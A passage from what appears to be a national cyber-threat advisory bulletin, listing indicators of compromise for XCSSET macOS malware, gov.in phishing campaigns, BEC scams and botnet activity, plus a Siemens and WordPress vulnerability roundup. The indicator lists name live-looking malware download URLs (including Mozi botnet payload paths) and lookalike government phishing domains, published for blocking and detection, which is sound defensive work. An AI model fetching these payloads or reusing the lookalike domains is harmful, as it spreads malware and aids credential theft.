\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.

**Reference**: https://securelist.com/sidewinder-apt-updates-its-toolset-and-targets-nuclear-sector/115847/

***Note:***  TA-APT: Threat Alert - Advanced Persistent Threat

1. **TA-MAW-2025-03-12-006**

It has been observed that a new variant of XCSSET, a sophisticated modular macOS malware, is infecting Xcode projects. The latest XCSSET malware features enhanced obfuscation methods, updated persistence mechanisms and new infection strategies. These enhanced features help this malware family steal and exfiltrate files and system and user information.XCSSET malware runs while an Xcode project is being built. The malware’s mode of infection and propagation is leveraged while project files are shared among developers building Apple or macOS-related applications.

     The notable capabilities of this new variant include its three distinct persistence techniques, which ensure its payload launches whenever a new shell session is initiated or whenever a user is tricked into opening a fake Launchpad application or makes commits in Git, and a new infection method for where the malware places its payload in a target Xcode project. Its Command and Control (C2) server is also active as of this writing and is downloading additional modules.

**MITRE ATT&CK Techniques:**

|  |  |
| --- | --- |
| Technique ID | Technique Name |
| T1195.001 | Supply Chain Compromise: Compromise Software Dependencies and Development Tools |
| T1059.002 | Command and Scripting Interpreter: AppleScript |
| T1059.007 | Command and Scripting Interpreter: JavaScript |
| T1059.004 | Command and Scripting Interpreter: Unix Shell |
| T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification |
| T1560 | Archive Collected Data |
| T1005 | Data from Local System |
| T1041 | Exfiltration Over C2 Channel |
| T1222.002 | File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification |
| T1083 | File and Directory Discovery |
| T1564.001 | Hide Artifacts: Hidden Files and Directories |
| T1105 | Ingress Tool Transfer |
| T1036.005 | Masquerading: Match Legitimate Name or Location |
| T1647 | Plist File Modification |
| T1518 | Software Discovery |
| T1082 | System Information Discovery |
| T1614.001 | System Location Discovery: System Language Discovery |
| T1548.006 | Abuse Elevation Control Mechanism: TCC Manipulation |
| T1140 | Deobfuscate/Decode Files or Information |
| T1564.003 | Hide Artifacts: Hidden Window |
| T1070.004 | Indicator Removal: File Deletion |
| T1027.004 | Obfuscated Files or Information: Compile After Delivery |
| T1027.013 | Obfuscated Files or Information: Encrypted/Encoded File |
| T1217 | Browser Information Discovery |
| T1518.001 | Software Discovery: Security Software Discovery |
| T1033 | System Owner/User Discovery |

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

bulknames.ru

castlenet.ru

chaoping.ru

devapple.ru

gigacells.ru

gizmodoc.ru

trixmate.ru

itoyads.ru

rigglejoy.ru

rutornet.ru

sigmate.ru

vivatads.ru

figmasol.ru

**File path:**

~/Library/Caches/com.apple.finder

/Applications/SimulatorTrampoline.app

/Applications/Reminders.app

/Applications/Reminders.app/Notes/

/Applications/Terminal.app

/Applications/Finder.app

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Run the latest version of Operating Systems and applications. Deploy the latest security updates.
* Always inspect and verify Xcode projects downloaded or cloned from repositories, as the malware usually spreads through infected projects.
* Encourage users to use web browsers that support Defender available on macOS and various platforms which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
* Turn on cloud-delivered protection and automatic sample submission on Antivirus.
* Enable Potentially Unwanted pplication (PUA) protection in block mode to automatically quarantine PUAs like adware.

**Reference:**https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/

***Note:****TA-MAW: Threat Alert Malware Advisory*

1. **TA-PHI-2025-03-13-011**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domains. The email contains an attachment file named "DO Letter Integrated HQ of MoD dated 3 March.pdf" which contains a hyperlink "https://email.gov.in.modindia.link/service/home/?auth=co&id=29238&filename=Dept%20%20of%20defence%20india%202025&charset=UTF-8 "with the title "View Document". Upon clicking, the hyperlink it opens a phishing page on the NIC login page asking for username and password.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

150.171.27.10

45.141.59.72

**Domain:**

modindia.link

**URL:**

https://email.gov.in.modindia.link/service/home/?auth=co&id=29238&filename=Dept%20%20of%20defence%20india%202025&charset=UTF-8

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

1. **TA-MI-2025-03-13-003**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

175.107.1.37

58.242.106.187

103.200.86.117

178.72.69.193

27.47.0.138

120.85.112.110

193.239.147.201

27.43.206.198

117.235.108.144

122.96.48.156

120.85.115.254

77.239.217.243

61.152.143.78

103.200.86.62

27.203.190.36

120.61.207.163

209.141.33.208

5.255.115.56

39.189.37.112

193.84.71.190

220.198.241.149

122.96.48.226

103.200.86.63

180.229.15.76

139.5.0.24

120.85.116.249

120.85.113.156

102.212.41.9

27.43.207.104

91.238.104.243

122.97.136.64

120.85.182.144

112.94.98.74

192.3.219.92

178.141.243.28

**URLs:-**

http://120.138.12.168:35317/

http://175.107.37.151:47804/

http://102.36.251.151:42581/

http://45.230.66.23:11930/

http://110.183.51.242:60371/

http://61.3.18.76:54838/

http://123.132.113.1:54697/

http://117.205.91.143:53209/

http://45.164.177.76:10551/

http://45.164.177.145:11827/

http://45.178.250.55:11505/

http://114.218.164.63:45466/

http://103.203.72.38:50312/

http://117.63.112.16:33798/

http://27.122.61.230:32862/

http://45.230.66.53:11674/

http://117.242.202.210:56856/

http://27.215.211.171:47115/

http://45.230.66.36:10164/

http://103.247.6.250:51002/

http://220.170.216.100:37473/

http://192.15.10.29:46640/

http://59.92.166.6:49630/

http://103.48.66.134:60405/

http://223.13.92.173:35529/

http://45.178.251.176:10209/

http://103.48.66.169:44205/

http://103.207.124.26:56911/

http://182.117.40.137:35762/

http://223.13.70.215:52080/

http://42.58.227.29:55079/

http://117.223.32.142:46522/

http://103.48.66.188:47973/

http://192.15.10.180:44021/

http://103.197.113.144:41699/

http://116.232.104.240:23992/

http://115.51.103.161:54070/

http://182.125.16.43:39797/

http://103.158.96.212:49445/

http://59.64.113.3:48536/

http://74.118.118.74:33107/

http://175.107.3.48:50844/

http://59.97.183.106:35708/

http://45.64.226.20:35723/

http://117.213.91.76:36052/

http://115.48.151.116:52515/

http://45.230.66.23:10613/

http://45.230.66.53:10444/

http://125.44.44.41:45210/

http://122.148.220.87:57148/

http://103.207.125.37:58187/

http://95.215.249.196:46787/

http://39.81.253.202:35921/

http://103.93.93.178:51302/

http://27.203.168.119:49176/

http://189.182.113.111:42476/

http://117.235.126.123:33917/

http://103.167.175.155:55344/

http://175.107.2.244:42950/

http://1.70.143.23:51996/

http://113.236.251.153:54486/

http://14.177.180.158:46019/

http://45.164.177.140:11072/

http://39.71.188.63:38505/

http://102.33.16.60:50929/

http://45.230.66.59:11097/

http://1.70.87.78:56564/

http://211.148.89.146:58361/

http://219.157.180.195:36924/

http://221.225.16.143:36552/

http://117.235.109.171:46663/

http://168.227.67.171:50629/

http://182.117.104.55:58437/

http://61.53.144.224:38335/

http://117.219.137.160:53503/

http://123.13.26.106:35885/

http://45.178.249.193:10599/

http://117.213.80.95:52358/

http://112.248.127.178:36848/

http://139.5.1.15:34784/

http://102.33.39.119:59147/

http://59.182.92.168:46951/

http://103.207.124.188:45813/

http://114.226.193.89:52304/

http://45.164.177.30:10629/

http://116.55.178.180:36157/

http://223.13.58.19:43625/

http://45.230.66.50:10145/

http://117.223.143.25:51336/

http://103.207.124.19:46913/

http://223.13.74.4:58980/

http://103.208.104.118:50312/

http://202.66.167.205:60098/

http://180.117.250.175:59445/

http://219.155.135.3:54992/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

***Note:***TA-MI: Threat Alert Malicious IOCs

1. **VA-2025-03-13-005**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and availability of patches.

**File Name:** Prominent Vulnerability List.pdf

**SHA256:** 09ef4823f0cb720246e4dc86c13fd3f9dd0bfbe338b5d959e85d74102b2046d5

**Reference**: CERT-IN [CMTX-P-VUL-032025025]

**Note**: VA: Vulnerability Advisory

**16.** **VA-2025-03-13-006**

**Multiple Vulnerabilities in Siemens Products**

Multiple vulnerabilities have been discovered in several Siemens products. Siemens has released security updates, workarounds and mitigations to resolve these vulnerabilities.

CVE ID: CVE-2024-49775 (Critical), CVE-2024-23113 (Critical), CVE-2023-40721 (Medium), CVE-2024-56336 (Critical), CVE-2024-3596 (Critical), CVE-2024-1305 (Critical), CVE-2024-27903 (Critical), CVE-2025-27494 (Critical), CVE-2024-33698 (Critical)

**Multiple Vulnerabilties in Siemens SiPass integrated ACC Devices**

Multiple vulnerabilities have been discovered in Siemens SiPass integrated Advanced Central Controller (ACC) devices. The affected products are SiPass integrated AC5102 (ACC-G2) and SiPass integrated ACC-AP, all versions before V6.4.9. Siemens has released workarounds and mitigations to reduce the risk.

CVE ID: CVE-2024-52285 (Medium), CVE-2025-27493 (High), CVE-2025-27494 (Critical)

**Vulnerability in Siemens SINAMICS S200 Devices**

An unlocked bootloader vulnerability has been discovered in Siemens SINAMICS S200 Devices. The affected products are SINAMICS S200, all versions with serial numbers beginning with SZVS8, SZVS9, SZVS0 or SZVSN and the FS number is 02.

CVE ID: CVE-2024-56336 (Critical)

**Vulnerability in OneStore Sites plugin for WordPress**

A Server-Side Request Forgery (SSRF) has been discovered in OneStore Sites plugin for WordPress. The affected versions are OneStore Sites plugin, all versions up to and including, 0.1.1.

CVE ID: CVE-2024-13905 (Critical)

**Vulnerability in Combodo iTop**

A Cross Site Scripting (XSS) vulnerability has been discovered in Combodo iTop. The affected versions are Combodo iTop prior to versions 2.7.11, 3.1.2, and 3.2.0.

CVE ID: CVE-2024-54139 (Critical)

**SUSE Security Updates**

SUSE has released security updates to resolve multiple vulnerabilities in several products.

**Security Updates for HUSKY – Products Filter Professional for WooCommerce plugin for WordPress**

WordPress has released security updates to resolve a  local file inclusion vulnerability in HUSKY – Products Filter Professional for WooCommerce plugin. The affected versions are HUSKY – Products Filter Professional for WooCommerce plugin, all versions up to and including, 1.3.6.5.

CVE ID: CVE-2025-1661 (Critical)

**Security Updates for Javo Core plugin for WordPress**

WordPress has released security updates to resolve a privilege escalation vulnerability in Javo Core plugin. The affected versions are Javo Core plugin, all versions up to and including, 3.0.0.080.

CVE ID: CVE-2025-0177 (Critical)

**Security Updates for InWave Jobs plugin for WordPress**

WordPress has released security updates to resolve a privilege escalation vulnerability in InWave Jobs plugin. The affected versions are InWave Jobs plugin , all versions up to and including, 3.5.1.

CVE ID: CVE-2025-1315 (Critical)

**Security Updates for Golo - City Travel Guide WordPress Theme theme for WordPress**

WordPress has released security updates to resolve a privilege escalation vulnerability in Golo - City Travel Guide WordPress Theme. The affected versions are Golo - City Travel Guide WordPress Theme, all versions up to, and including, 1.6.10.

CVE ID: CVE-2024-12876 (Critical)

**Security Updates for WPCOM Member plugin for WordPress**

WordPress has released security updates to resolve a authentication bypass vulnerability in WPCOM Member plugin. The affected versions are WPCOM Member plugin, all versions up to, and including, 1.7.5.

CVE ID: CVE-2025-1475(Critical)

***Note:****VA: Vulnerability Advisory*

**17. TA-PHI-2025-03-17-012**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domains. The email contains an attachment "Action Points of Meeting of Dept of Defence held at 11 March 25.rar" which contains a HTML file "Action Points of Meeting of Dept of Defence held at 10March 25.html".  Upon clicking the HTML file, it opens the URL "https://email.gov.in.indiandefence.work/service/home/" in the browser, which is currently not working. It is suspected to be phishing the NIC login page and seeking for username and password.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOCs START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

45.141.59.72

146.70.142.25

146.70.142.86

**Domain:**

indiandefence.work

**URL:**

https://email.gov.in.indiandefence.work/service/home/

**Filenames:**

Action Points of Meeting of Dept of Defence held at 11 March 25.rar

Action Points of Meeting of Dept of Defence held at 10March 25.html

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***\*IOCs END\*\*\***\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**18.TA-MI-2025-03-17-004**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

84.32.230.60

46.105.92.134

45.178.250.246

46.232.121.30

125.59.138.127

179.43.152.154

109.110.162.160

103.114.202.39

77.239.220.18

102.212.41.5

104.238.220.49

46.232.121.35

46.232.121.34

103.199.180.42

204.12.196.165

72.27.21.60

115.187.17.11

120.85.112.237

204.12.196.164

103.36.24.175

5.255.115.56

103.199.180.102

103.200.86.62

113.65.215.231

65.20.70.3

101.53.147.17

120.85.143.40

46.232.121.31

38.92.26.59

139.5.10.224

103.98.36.34

87.121.112.42

188.64.106.48

109.110.162.168

102.212.40.121

221.127.201.167

109.110.162.162

46.232.121.33

139.84.132.160

193.123.247.89

115.96.221.149

38.92.26.61

120.85.119.65

172.96.160.174

176.97.210.238

82.152.164.4

109.110.162.163

186.248.110.34

103.200.86.17

38.202.2.54

88.214.34.10

174.138.41.150

221.127.201.23

27.43.207.104

77.239.217.78

109.110.162.159

112.94.96.203

107.174.14.249

192.9.169.148

72.18.214.175

108.62.119.152

223.149.20.3

103.27.186.227

46.232.121.36

103.200.86.8

102.212.41.11

193.123.86.169

77.239.211.114

103.14.226.142

106.116.114.111

207.244.87.167

51.222.206.43

223.149.23.240

109.110.162.169

221.124.26.200

103.15.254.121

204.12.196.162

27.43.205.36

91.238.104.98

199.195.254.118

160.25.74.81

109.110.162.170

103.36.24.100

46.232.121.37

128.199.78.232

122.96.48.226

158.180.79.21

36.233.236.16

195.18.19.108

27.43.204.57

46.232.121.38

178.72.77.202

204.12.196.163

77.239.220.86

152.67.208.18

45.146.202.149

103.199.180.77

45.164.177.2

46.232.121.32

109.110.162.161

58.242.106.187

27.43.204.111

38.92.26.62

45.66.231.148

38.92.26.60

183.240.139.1

103.200.86.3

122.96.48.180

146.56.153.87

112.94.98.74

51.195.219.145

**URLs:-**

http://45.164.177.143:10633/

http://115.56.154.1:58615/Mozi.m

http://102.214.111.81:43150/

http://65.32.112.236:33175/

http://45.164.177.155:11078/Mozi.m

http://103.208.104.118:50312/

http://27.220.93.49:48503/

http://182.126.242.167:57840/

http://192.21.165.199:48845/Mozi.m

http://106.59.109.249:56676/

http://45.164.177.105:11322/

http://45.164.177.170:10367/Mozi.m

http://85.103.134.43:43231/

http://175.165.86.1:40239/Mozi.m

http://123.9.112.74:35955/

http://45.230.66.0:10956/

http://115.56.154.1:58615/

http://45.230.66.47:10332/Mozi.a

http://59.95.90.250:49273/

http://182.117.42.188:46761/

http://112.248.152.112:49463/Mozi.a

http://125.44.47.207:33036/Mozi.m

http://117.242.194.88:58890/

http://117.241.207.162:45919/

http://117.196.164.52:51129/

http://117.213.248.252:56677/Mozi.m

http://45.230.66.55:10468/Mozi.a

http://103.48.66.158:46902/Mozi.m

http://45.230.66.62:11578/

http://117.209.81.186:40409/

http://182.125.16.43:39797/

http://123.132.113.1:54697/

http://103.93.93.178:51302/

http://27.202.201.97:14825/

http://106.57.7.103:32880/Mozi.a

http://115.50.37.138:40850/

http://222.138.149.174:51547/

http://124.247.204.28/index.php

http://101.232.41.36:39409/Mozi.a

http://45.164.177.101:10482/

http://192.21.160.249:43041/

http://115.57.83.114:56848/Mozi.m

http://196.189.96.59:49849/

http://101.232.41.36:39409/

http://219.157.180.195:36924/

http://45.164.177.228:10285/

http://1.70.14.220:40075/

http://180.111.31.130:52360/

http://117.60.191.233:38188/

http://45.230.66.47:10332/

http://103.197.113.144:41699/

http://45.164.177.46:11870/Mozi.a

http://59.97.176.97:54383/

http://223.12.186.21:36793/

http://218.91.153.60:44792/Mozi.a

http://117.63.134.147:60101/

http://45.230.66.36:10164/

http://45.64.226.20:35723/

http://59.97.211.102:36901/Mozi.m

http://42.179.164.120:40341/Mozi.m

http://45.164.177.255:10360/Mozi.m

http://182.240.6.61:39352/

http://59.97.176.167:59268/Mozi.a

http://45.164.177.116:10618/

http://45.230.66.9:10934/

http://192.21.160.249:43041/Mozi.a

http://103.93.93.178:57712/

http://186.248.175.11:34782/Mozi.m

http://124.235.220.243:36623/Mozi.m

http://1.69.108.169:41715/Mozi.a

http://59.94.111.41:36501/

http://27.215.122.31:47040/

http://192.22.160.134:58935/

http://117.207.79.38:36112/Mozi.m

http://45.230.66.57:10532/

http://103.207.125.64:57942/

http://123.175.64.181:48827/Mozi.m

http://117.207.79.38:36112/

http://45.115.89.240:36258/Mozi.m

http://117.242.224.144:43621/

http://117.211.158.166:40187/Mozi.a

http://106.57.7.103:32880/

http://45.164.177.135:10740/

http://103.184.195.239:58814/

http://115.63.175.107:32796/Mozi.m

http://175.173.68.153:55707/

http://45.178.250.246:11317/

http://45.164.177.84:10388/

http://117.223.32.142:46522/

http://45.164.177.116:10618/Mozi.m

http://31.173.120.72:42675/

http://45.230.66.7:10786/

http://199.195.254.118/jaws

http://61.70.84.40:48085/Mozi.a

http://59.183.104.254:45704/Mozi.m

http://117.242.224.144:43621/Mozi.m

http://103.217.229.14:39095/Mozi.a

http://117.198.9.180:34334/Mozi.m

http://190.109.228.224:36840/

http://117.223.143.32:56185/Mozi.m

http://45.164.177.135:10740/Mozi.m

http://103.48.66.128:60746/

http://61.53.143.188:33044/

http://124.234.207.118:52770/Mozi.a

http://45.164.177.155:11439/

http://41.205.91.128:33913/Mozi.a

http://120.138.12.168:35317/

http://120.241.40.65:53598/

http://117.215.52.8:60019/

http://45.164.177.239:10395/

http://102.33.39.119:59147/

http://115.57.83.114:56848/

http://117.235.50.130:48954/

http://112.72.182.100:2369/

http://103.203.72.72:57698/

http://5.255.115.56/x86

http://117.198.164.249:40052/

http://102.33.47.199:34557/

http://117.241.207.162:45919/Mozi.m

http://175.107.1.219:58897/Mozi.a

http://117.208.102.124:41982/

http://192.22.160.134:58935/Mozi.m

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Recommendation:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

**19.  TA-PHI-2025-03-17-013**

It has been observed that adversaries are using Business Email Compromise (BEC) campaigns to target their victims. BEC is a tactic in which adversaries impersonate a known or reputable source to make a seemingly valid request, such as updating payroll direct deposit information. The initial phishing email is sent to the target’s accounting department, but it is crafted to look like a longer email thread involving a C-suite executive in the company. In the fabricated email thread, an executive receives an automated notification of a past-due invoice for business development and consulting services. Then, the adversary, masquerading as a fake service provider, sends a follow-up payment request, to which the executive responds by directing them to the accounting department. To make BEC phishing emails appear legitimate, threat actors obtain personal data about the victims from public sources, like their company’s website, social media, or leaked data posted on dark web markets or open net platforms.

**MITRE ATT&CK Techniques**

Reconnaissance

T1591 Gather Victim Org Information

T1589.001 Gather Victim Identity Information: Credentials

Initial Access

T1566 Phishing

Defense Evasion

T1656 Impersonation

Impact

T1657 Financial Theft

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

188.128.174.202

69.169.224.14

69.169.224.17

54.240.71.80

34.211.176.237

219.118.72.6

50.16.226.255

17.58.63.176

209.85.219.51

23.83.209.30

23.83.223.164

209.85.219.177

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Provide phishing and social engineering training, as automated security tools can't prevent users from knowingly disclosing sensitive information, a common tactic for stealing credentials and financial data.
* Use complex passwords that are unique to each system and enable Multi-Factor Authentication (MFA) on all services, applications, and admin accounts.
* Consider using a system specifically designed to authenticate payments, rather than sending invoices via email.
* Implement a secure email solution that flags suspicious emails from unverified senders.
* In the event of a suspected data breach, monitor the dark web to determine what data has been leaked and potentially how it was stolen.

***Note:****TA-PHI: Threat Alert Phishing Advisory*

**20.** **TA-PHI-2025-03-18-014**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

eids.email.gov.in.indiatop5.in

email.gov.in.account-recovery.com

email.gov.in.airforce-update.net

email.gov.in.alert-notification.com

email.gov.in.army-alert.net

email.gov.in.brief-report.nl

email.gov.in.briefreport.com

email.gov.in.briefreport.ml

email.gov.in.cgda-alert.com

email.gov.in.cloud

email.gov.in.co

email.gov.in.confirm-identity.net

email.gov.in.data-storage.services

email.gov.in.datastorage.com

email.gov.in.datastorage.online

email.gov.in.defence-update.com

email.gov.in.defence.link

email.gov.in.department-of-defence.cc

email.gov.in.department-of-defence.link

email.gov.in.departmentofdefecce.cc

email.gov.in.departmentofdefence.cc

email.gov.in.departmentofdefence.cc.login.secure.nl

email.gov.in.departmentofdefence.com

email.gov.in.departmentofdefence.link

email.gov.in.departmentofdefence.ml

email.gov.in.departmentofdefence.net

email.gov.in.departmentofdefence.nl

email.gov.in.departmentofdefence.online

email.gov.in.departmentofdefence.pl

email.gov.in.departmentofdefenceindia.cc

email.gov.in.drdo-update.net

email.gov.in.dvia.eu

email.gov.in.egov-update.net

email.gov.in.estbec.in

email.gov.in.governmentmail.link

email.gov.in.i-gov.ink

email.gov.in.icu

email.gov.in.id

email.gov.in.igov.com

email.gov.in.india-gov.pw

email.gov.in.indiadefence.link

email.gov.in.indiadefence.nl

email.gov.in.indiagov.com

email.gov.in.indiagov.mailindia.one

email.gov.in.indiagov.online

email.gov.in.indiagov.site

email.gov.in.indian-army.ml

email.gov.in.indian-army.pl

email.gov.in.indian-defence.link

email.gov.in.indianarmy.com

email.gov.in.indianarmy.gov

email.gov.in.indianarmy.net

email.gov.in.indiandefence.com

email.gov.in.indiandefence.in

email.gov.in.indiandefence.link

email.gov.in.indiandefence.link.verify.online

email.gov.in.indiandefence.nl

email.gov.in.indiandence.nl

email.gov.in.information.services

email.gov.in.link

email.gov.in.live

email.gov.in.login-secure.com

email.gov.in.mailgov.in

email.gov.in.mailindia.ministryofdefenceindia.link

email.gov.in.martinseceompanhia.pt

email.gov.in.ministroyofdefenceindia.link

email.gov.in.modindia.link.com

email.gov.in.mygov.pw

email.gov.in.mygov.site

email.gov.in.parichay.link

email.gov.in.parichay.online

email.gov.in.publications.cc

email.gov.in.publications.lt

email.gov.in.publications.ltd.publications.ltd

email.gov.in.publications.ltda.ms

email.gov.in.publications.ltdclawsindia.com

email.gov.in.publications.one

email.gov.in.publications.online

email.gov.in.reset-password.com

email.gov.in.support

email.gov.indiagov.ws

gov.in.departmentofdefence.cc

gov.in.indiagov.site

ww38.wee.indianpostgov.in

\*.indiagov.site

\*.indianpostgov.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
